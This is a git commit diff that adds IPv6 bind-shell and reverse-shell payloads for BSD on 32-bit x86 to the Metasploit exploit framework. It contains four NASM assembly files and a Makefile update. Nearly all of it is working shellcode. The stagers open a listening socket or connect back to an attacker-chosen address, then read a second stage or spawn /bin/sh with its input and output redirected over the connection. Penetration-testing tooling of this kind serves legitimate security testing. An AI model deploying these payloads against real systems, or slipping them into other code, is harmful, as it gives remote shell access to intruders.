Add BSD IPv6 payloads (source only for now)
parent
06f7165ee6
commit
7630ef17e3
|
@ -1,7 +1,7 @@
|
||||||
ASM=nasm
|
ASM=nasm
|
||||||
STAGERS=stager_sock_bind stager_sock_find stager_sock_reverse
|
STAGERS=stager_sock_bind stager_sock_bind_ipv6 stager_sock_find stager_sock_reverse stager_sock_reverse_ipv6
|
||||||
STAGES=stage_tcp_shell
|
STAGES=stage_tcp_shell
|
||||||
SINGLE=single_bind_tcp_shell single_exec single_find_tcp_shell single_reverse_libinject single_reverse_tcp_shell single_findsock
|
SINGLE=single_bind_tcp_shell single_exec single_find_tcp_shell single_reverse_libinject single_reverse_tcp_shell single_findsock single_reverse_tcp_shell_ipv6 single_bind_tcp_shell_ipv6
|
||||||
OBJS=${STAGERS} ${STAGES} ${SINGLE}
|
OBJS=${STAGERS} ${STAGES} ${SINGLE}
|
||||||
|
|
||||||
include ../../Makefile.incl
|
include ../../Makefile.incl
|
||||||
|
|
|
@ -0,0 +1,36 @@
|
||||||
|
;;
|
||||||
|
;
|
||||||
|
; Name: single_bind_tcp_shell
|
||||||
|
; Version: $Revision: 1628 $
|
||||||
|
; License:
|
||||||
|
;
|
||||||
|
; This file is part of the Metasploit Exploit Framework
|
||||||
|
; and is subject to the same licenses and copyrights as
|
||||||
|
; the rest of this package.
|
||||||
|
;
|
||||||
|
; Description:
|
||||||
|
;
|
||||||
|
; Single portbind TCP shell.
|
||||||
|
;
|
||||||
|
; Meta-Information:
|
||||||
|
;
|
||||||
|
; meta-shortname=BSD Bind TCP Shell
|
||||||
|
; meta-description=Listen on a port and spawn a shell
|
||||||
|
; meta-authors=skape <mmiller [at] hick.org>
|
||||||
|
; meta-os=bsd
|
||||||
|
; meta-arch=ia32
|
||||||
|
; meta-category=single
|
||||||
|
; meta-connection-type=bind
|
||||||
|
; meta-name=bind_tcp_shell
|
||||||
|
; meta-basemod=Msf::PayloadComponent::BindConnection
|
||||||
|
; meta-offset-lport=0x8
|
||||||
|
;;
|
||||||
|
BITS 32
|
||||||
|
|
||||||
|
%define USE_SINGLE_STAGE 1
|
||||||
|
|
||||||
|
%include "generic.asm"
|
||||||
|
%include "stager_sock_bind_ipv6.asm"
|
||||||
|
|
||||||
|
shell:
|
||||||
|
execve_binsh EXECUTE_REDIRECT_IO
|
|
@ -0,0 +1,42 @@
|
||||||
|
;;
|
||||||
|
;
|
||||||
|
; Name: single_reverse_tcp_shell
|
||||||
|
; Version: $Revision: 1626 $
|
||||||
|
; License:
|
||||||
|
;
|
||||||
|
; This file is part of the Metasploit Exploit Framework
|
||||||
|
; and is subject to the same licenses and copyrights as
|
||||||
|
; the rest of this package.
|
||||||
|
;
|
||||||
|
; Description:
|
||||||
|
;
|
||||||
|
; Single reverse TCP shell.
|
||||||
|
;
|
||||||
|
; Meta-Information:
|
||||||
|
;
|
||||||
|
; meta-shortname=BSD Reverse TCP Shell
|
||||||
|
; meta-description=Connect back to the attacker and spawn a shell
|
||||||
|
; meta-authors=skape <mmiller [at] hick.org>
|
||||||
|
; meta-os=bsd
|
||||||
|
; meta-arch=ia32
|
||||||
|
; meta-category=single
|
||||||
|
; meta-connection-type=reverse
|
||||||
|
; meta-name=reverse_tcp_shell
|
||||||
|
; meta-basemod=Msf::PayloadComponent::ReverseConnection
|
||||||
|
; meta-offset-lhost=0x0a
|
||||||
|
; meta-offset-lport=0x13
|
||||||
|
;;
|
||||||
|
BITS 32
|
||||||
|
|
||||||
|
%define USE_SINGLE_STAGE 1
|
||||||
|
%define ASSUME_REG_EAX 0
|
||||||
|
|
||||||
|
; If you're on FreeBSD you can assume the state of edx to be 2, but NetBSD
|
||||||
|
; clears edx.
|
||||||
|
; %define ASSUME_REG_EDX 2
|
||||||
|
|
||||||
|
%include "stager_sock_reverse_ipv6.asm"
|
||||||
|
%include "generic.asm"
|
||||||
|
|
||||||
|
shell:
|
||||||
|
execve_binsh EXECUTE_REDIRECT_IO
|
|
@ -0,0 +1,108 @@
|
||||||
|
;;
|
||||||
|
;
|
||||||
|
; Name: stager_sock_bind_ipv6
|
||||||
|
; Qualities: Can Have Nulls
|
||||||
|
; Version: $Revision: 1628 $
|
||||||
|
; License:
|
||||||
|
;
|
||||||
|
; This file is part of the Metasploit Exploit Framework
|
||||||
|
; and is subject to the same licenses and copyrights as
|
||||||
|
; the rest of this package.
|
||||||
|
;
|
||||||
|
; Description:
|
||||||
|
;
|
||||||
|
; Implementation of a BSD portbind over IPv6 TCP stager.
|
||||||
|
;
|
||||||
|
; Meta-Information:
|
||||||
|
;
|
||||||
|
; meta-shortname=BSD Bind TCP Stager
|
||||||
|
; meta-description=Listen on a port for a connection and run a second stage
|
||||||
|
; meta-authors=skape <mmiller [at] hick.org>, vlad902 <vlad902 [at] gmail.com>, hdm <hdm [at] metasploit.com>
|
||||||
|
; meta-os=bsd
|
||||||
|
; meta-arch=ia32
|
||||||
|
; meta-category=stager
|
||||||
|
; meta-connection-type=bind
|
||||||
|
; meta-name=bind_tcp_ipv6
|
||||||
|
; meta-basemod=Msf::PayloadComponent::BindConnection
|
||||||
|
; meta-offset-lport=26
|
||||||
|
;;
|
||||||
|
BITS 32
|
||||||
|
GLOBAL main
|
||||||
|
|
||||||
|
main:
|
||||||
|
|
||||||
|
socket:
|
||||||
|
xor eax, eax
|
||||||
|
push eax ; Protocol: (IP=0)
|
||||||
|
inc eax
|
||||||
|
push eax ; Type: (SOCK_STREAM=1)
|
||||||
|
push byte 28 ; Domain: (PF_INET6=28)
|
||||||
|
push byte 97
|
||||||
|
pop eax ; socket()
|
||||||
|
push eax ; padding
|
||||||
|
int 0x80
|
||||||
|
mov ebx, eax ; save socket
|
||||||
|
|
||||||
|
xor edx, edx
|
||||||
|
|
||||||
|
push edx ; uint32_t sin6_scope_id; /* scope zone index */
|
||||||
|
push edx ; struct in6_addr sin6_addr; /* IP6 address */
|
||||||
|
push edx
|
||||||
|
push edx
|
||||||
|
push edx
|
||||||
|
push edx ; uint32_t sin6_flowinfo; /* IP6 flow information */
|
||||||
|
push dword 0xbfbf1c1c
|
||||||
|
; in_port_t sin6_port; /* Transport layer port # */
|
||||||
|
; uint8_t sin6_len; /* length of this struct */
|
||||||
|
; sa_family_t sin6_family; /* AF_INET6 */
|
||||||
|
|
||||||
|
mov ecx, esp
|
||||||
|
|
||||||
|
bind:
|
||||||
|
push byte 28
|
||||||
|
push ecx
|
||||||
|
push eax
|
||||||
|
push byte 104
|
||||||
|
pop eax
|
||||||
|
push eax ; padding
|
||||||
|
int 0x80
|
||||||
|
|
||||||
|
listen:
|
||||||
|
mov al, 106
|
||||||
|
int 0x80
|
||||||
|
|
||||||
|
accept:
|
||||||
|
push edx
|
||||||
|
push ebx
|
||||||
|
%ifndef USE_SINGLE_STAGE
|
||||||
|
mov dh, 0x10
|
||||||
|
%endif
|
||||||
|
push edx
|
||||||
|
mov al, 30
|
||||||
|
int 0x80
|
||||||
|
|
||||||
|
%ifndef USE_SINGLE_STAGE
|
||||||
|
|
||||||
|
read:
|
||||||
|
push ecx
|
||||||
|
push eax
|
||||||
|
push ecx
|
||||||
|
%ifdef FD_REG_EBX
|
||||||
|
xchg eax, ebx
|
||||||
|
%else
|
||||||
|
xchg eax, edi
|
||||||
|
%endif
|
||||||
|
push byte 0x3
|
||||||
|
pop eax
|
||||||
|
int 0x80
|
||||||
|
ret
|
||||||
|
|
||||||
|
%else
|
||||||
|
|
||||||
|
%ifdef FD_REG_EBX
|
||||||
|
xchg eax, ebx
|
||||||
|
%else
|
||||||
|
xchg eax, edi
|
||||||
|
%endif
|
||||||
|
|
||||||
|
%endif
|
|
@ -0,0 +1,95 @@
|
||||||
|
;;
|
||||||
|
;
|
||||||
|
; Name: stager_sock_reverse_ipv6
|
||||||
|
; Qualities: Can Have Nulls
|
||||||
|
; Version: $Revision: 1626 $
|
||||||
|
; License:
|
||||||
|
;
|
||||||
|
; This file is part of the Metasploit Exploit Framework
|
||||||
|
; and is subject to the same licenses and copyrights as
|
||||||
|
; the rest of this package.
|
||||||
|
;
|
||||||
|
; Description:
|
||||||
|
;
|
||||||
|
; Implementation of a BSD reverse TCP stager over IPv6
|
||||||
|
;
|
||||||
|
; File descriptor in edi.
|
||||||
|
;
|
||||||
|
; Meta-Information:
|
||||||
|
;
|
||||||
|
; meta-shortname=BSD Reverse TCP Stager
|
||||||
|
; meta-description=Connect back to the framework and run a second stage
|
||||||
|
; meta-authors=skape <mmiller [at] hick.org>, vlad902 <vlad902 [at] gmail.com>, hdm <hdm [at] metasploit.com>
|
||||||
|
; meta-os=bsd
|
||||||
|
; meta-arch=ia32
|
||||||
|
; meta-category=stager
|
||||||
|
; meta-connection-type=reverse
|
||||||
|
; meta-name=reverse_tcp_ipv6
|
||||||
|
; meta-basemod=Msf::PayloadComponent::ReverseConnection
|
||||||
|
; meta-offset-lhost=43
|
||||||
|
; meta-offset-lport=36
|
||||||
|
; meta-offset-scope=59
|
||||||
|
;;
|
||||||
|
BITS 32
|
||||||
|
GLOBAL main
|
||||||
|
|
||||||
|
main:
|
||||||
|
|
||||||
|
socket:
|
||||||
|
|
||||||
|
xor eax, eax
|
||||||
|
push eax ; Protocol: (IP=0)
|
||||||
|
inc eax
|
||||||
|
push eax ; Type: (SOCK_STREAM=1)
|
||||||
|
push byte 28 ; Domain: (PF_INET6=28)
|
||||||
|
|
||||||
|
push byte 97
|
||||||
|
pop eax ; socket()
|
||||||
|
push eax ; padding
|
||||||
|
int 0x80
|
||||||
|
jmp short bounce_to_connect
|
||||||
|
|
||||||
|
connect:
|
||||||
|
pop ecx
|
||||||
|
push byte 28
|
||||||
|
push ecx
|
||||||
|
push eax
|
||||||
|
|
||||||
|
%ifdef FD_REG_EBX
|
||||||
|
xchg eax, ebx
|
||||||
|
%else
|
||||||
|
xchg eax, edi
|
||||||
|
%endif
|
||||||
|
|
||||||
|
push byte 98
|
||||||
|
pop eax
|
||||||
|
push eax ; padding
|
||||||
|
int 0x80
|
||||||
|
|
||||||
|
jmp short skip_bounce
|
||||||
|
|
||||||
|
bounce_to_connect:
|
||||||
|
call connect
|
||||||
|
|
||||||
|
ipv6_address:
|
||||||
|
db 28 ; uint8_t sin6_len; /* length of this struct */
|
||||||
|
db 28 ; sa_family_t sin6_family; /* AF_INET6 */
|
||||||
|
dw 0xbfbf ; in_port_t sin6_port; /* Transport layer port # */
|
||||||
|
dd 0 ; uint32_t sin6_flowinfo; /* IP6 flow information */
|
||||||
|
dd 0x43424140 ; struct in6_addr sin6_addr; /* IP6 address */
|
||||||
|
dd 0x48474645
|
||||||
|
dd 0x4d4b4a49
|
||||||
|
dd 0x51504f4e
|
||||||
|
dd 0 ; uint32_t sin6_scope_id; /* scope zone index */
|
||||||
|
|
||||||
|
skip_bounce:
|
||||||
|
|
||||||
|
%ifndef USE_SINGLE_STAGE
|
||||||
|
|
||||||
|
read:
|
||||||
|
mov al, 0x3
|
||||||
|
mov byte [ecx - 0x3], 0x10
|
||||||
|
int 0x80
|
||||||
|
ret
|
||||||
|
|
||||||
|
%endif
|
Loading…
Reference in New Issue